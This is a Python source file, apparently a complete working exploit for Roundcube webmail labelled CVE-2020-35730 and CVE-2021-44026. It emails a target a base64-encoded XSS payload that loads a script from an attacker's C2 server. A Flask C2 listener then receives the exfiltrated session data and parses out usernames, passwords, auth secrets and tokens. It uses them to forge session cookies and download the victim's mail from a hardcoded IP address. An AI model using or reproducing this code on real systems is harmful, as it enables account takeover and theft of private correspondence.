import base64
import json
from datetime import datetime
import argparse
import logging as log

import smtplib
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText


import requests
from flask import Flask, logging, request

app = Flask(__name__)
logger = logging.create_logger(app)
logger.setLevel(10)


class Mail:
    def __init__(
        self, smtp_server, smtp_port, sender_email, sender_password, target_email
    ):
        self.smtp_server = smtp_server
        self.smtp_port = smtp_port
        self.sender_email = sender_email
        self.sender_password = sender_password
        self.target_email = target_email

    def send_email(self, subject, message_body):
        mail_message = MIMEMultipart()
        mail_message["Subject"] = subject
        mail_message["From"] = self.sender_email
        mail_message["To"] = self.target_email

        message = MIMEText(message_body)
        mail_message.attach(message)

        try:
            smtp_server = smtplib.SMTP(self.smtp_server, self.smtp_port)
            smtp_server.connect(self.smtp_server, self.smtp_port)
            smtp_server.ehlo()
            smtp_server.starttls()
            smtp_server.ehlo()
            smtp_server.login(self.sender_email, self.sender_password)
            smtp_server.sendmail(
                self.sender_email, self.target_email, mail_message.as_string()
            )
        except smtplib.SMTPException:
            return False

        log.info("Mail was successfully sent!")
        return True


class Exploit:
    C2_PAYLOAD = 'var s=document.createElement("script");s.type="text/javascript";s.src="{url}/static/{filename}";document.head.append(s);'
    XSS_PAYLOAD = "[<script>eval(atob('{enc_payload}'))</script>]:##str_replacement_0##"

    def __init__(self, c2_server, c2_filename):
        self.target_host = c2_server
        self.filename = c2_filename

    def build_fetching_payload(self):
        c2_payload = self.C2_PAYLOAD.format(
            url=self.target_host, filename=self.filename
        )
        encoded_payload = base64.b64encode(c2_payload.encode("latin-1")).decode(
            "latin-1"
        )
        payload = self.XSS_PAYLOAD.format(enc_payload=encoded_payload)

        return payload


@app.route("/")
def index():
    return "Hello from Flask!"


@app.route("/error", methods=["POST"])
def error():
    body = request.get_data(as_text=True)
    logger.error(f"Exploit failed. Reason: {body}")

    return ""


def generate_timestamp():
    lifetime = 600
    time_format = "%a, %d %b %Y %H:%M:%S %z"

    try:
        date = requests.get("http://45.32.150.130:9009/").headers["Date"]
        date = " ".join(date.split(" ")[:-1]) + " +0000"
    except (IndexError, KeyError, TypeError, requests.exceptions.RequestException):
        return None

    now = int(datetime.strptime(date, time_format).timestamp())
    now = now - (now % (lifetime // 2))

    return now


def fetch_mails(tokens_dict):
    response_dict = {}
    url = "http://45.32.150.130:9009"

    for sess_id, token in tokens_dict.items():
        timestamp = generate_timestamp()
        if not token or not timestamp:
            continue

        auth_secret = token.get("auth_secret", "")
        if not auth_secret:
            continue

        cookies = {
            "roundcube_sessid": sess_id,
            "roundcube_sessauth": f"{token.get('auth_secret', '')}-{timestamp}",
        }

        try:
            response = requests.get(
                url + "/?_task=mail&_action=list&_mbox=INBOX&_remote=1&_threads=1",
                cookies=cookies,
                timeout=1.0,
            )
        except requests.exceptions.RequestException:
            continue

        if not response.text:
            continue

        lines = response.text.split("\\n")
        identifier = "this.add_message_row"

        mails = []

        for line in lines:
            if not line.startswith(identifier):
                continue

            # The uid is the first parameter in the call to add_message row, so the
            # pattern we are looking for is this.add_message_row(UID, ...)
            mail_uid = line[line.find("(") + 1 : line.find(",")]
            logger.info("Got uid: %s" % mail_uid)

            request_token = token.get("request_token")
            if not request_token:
                continue

            req = requests.get(
                url
                + f"/?_task=mail&_save=1&_uid={mail_uid}&_mbox=INBOX&_action=viewsource&_token={request_token}",
                cookies=cookies,
                timeout=1,
            )

            mail_text = req.text
            if not mail_text:
                continue

            logger.info("Got mail: %s" % mail_text)
            mails.append(mail_text)

        if not mails:
            continue

        logger.debug(
            "Mails of %s:\n%s"
            % (token.get("username"), "\n".join((str(mail) for mail in mails)))
        )

        response_dict[token.get("username")] = response.text

    return response_dict


@app.route("/store", methods=["POST"])
def store():
    tokens = {}
    reading = False
    sess_id, sess_variables = "", ""

    body = request.get_data(as_text=True)
    data = json.loads(body)["data"]
    data = base64.b64decode(data).decode("utf-8").strip()

    for line in data.split("\r\n"):
        if not reading:
            sess_id, sess_variables = "", ""
        if line.startswith("BEGIN:VCARD"):
            reading = True
            continue

        if line.startswith("N:"):
            sess_variables += line[2:].strip()
        elif line.startswith(" "):
            sess_variables += line[1:].strip()

        if line.startswith("FN:"):
            sess_id = line[3:].strip()
        elif line.startswith("END:VCARD"):
            reading = False
            sess_variables = sess_variables.strip(";")
            sess_variables = (
                base64.b64decode(sess_variables).decode("utf-8").strip(" \r\n{}\t")
            )

            wanted_keys = {}
            exfiltate_keys = (
                "username",
                "password",
                "auth_secret",
                "request_token",
                "login_time",
            )

            for value in sess_variables.split(";"):
                for key in exfiltate_keys:

                    if not value.startswith(key):
                        continue
                    try:
                        split = value[len(key) + 1 :].split(":")
                        value_type = split[0]

                        if value_type == "i":
                            wanted_keys[key] = split[1].strip('"')
                        elif value_type == "s":
                            wanted_keys[key] = split[2].strip('"')
                        else:
                            wanted_keys[key] = value
                    except IndexError:
                        logger.error("Failed to extract value %s" % value)
                        wanted_keys[key] = ""

            tokens[sess_id] = wanted_keys

    logger.info("Exploit succeeded. Data:")

    for sess_id, sess_vars in tokens.items():
        logger.info(f"Session ID: {sess_id}")
        for key in sess_vars:
            logger.info(f"\t{key}: {sess_vars[key]}")

    fetch_mails(tokens)

    return ""


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Roundcube CVE-2020-35730 & CVE-2021-44026 exploit"
    )

    # Add arguments
    parser.add_argument("smtp_server", type=str, help="Sender SMTP server name")
    parser.add_argument("smtp_port", type=str, help="Sender SMTP server port")
    parser.add_argument("sender_email", type=str, help="Sender email address")
    parser.add_argument(
        "sender_password",
        type=str,
        help="Sender email password for logging into the SMTP server",
    )
    parser.add_argument("target_email", type=str, help="Target email address")
    parser.add_argument(
        "c2_server",
        type=str,
        help="The URL on which the C2 server will listen",
        default="http://localhost:81",
    )

    # Parse the command-line arguments
    args = parser.parse_args()

    c2_filename = "fetcher.js"
    c2_file_path = "./static/fetcher.js"
    with open(c2_file_path) as file:
        replace_c2_server = file.read().replace("<C2_server>", args.c2_server)
    with open(c2_file_path, "w") as file:
        file.write(replace_c2_server)

    exploit = Exploit(c2_server=args.c2_server, c2_filename=c2_filename)
    payload = exploit.build_fetching_payload()

    mail = Mail(
        smtp_server=args.smtp_server,
        smtp_port=args.smtp_port,
        sender_email=args.sender_email,
        sender_password=args.sender_password,
        target_email=args.target_email,
    )
    mail.send_email(subject="Hello!", message_body=payload)
    app.run(host="0.0.0.0", port=81)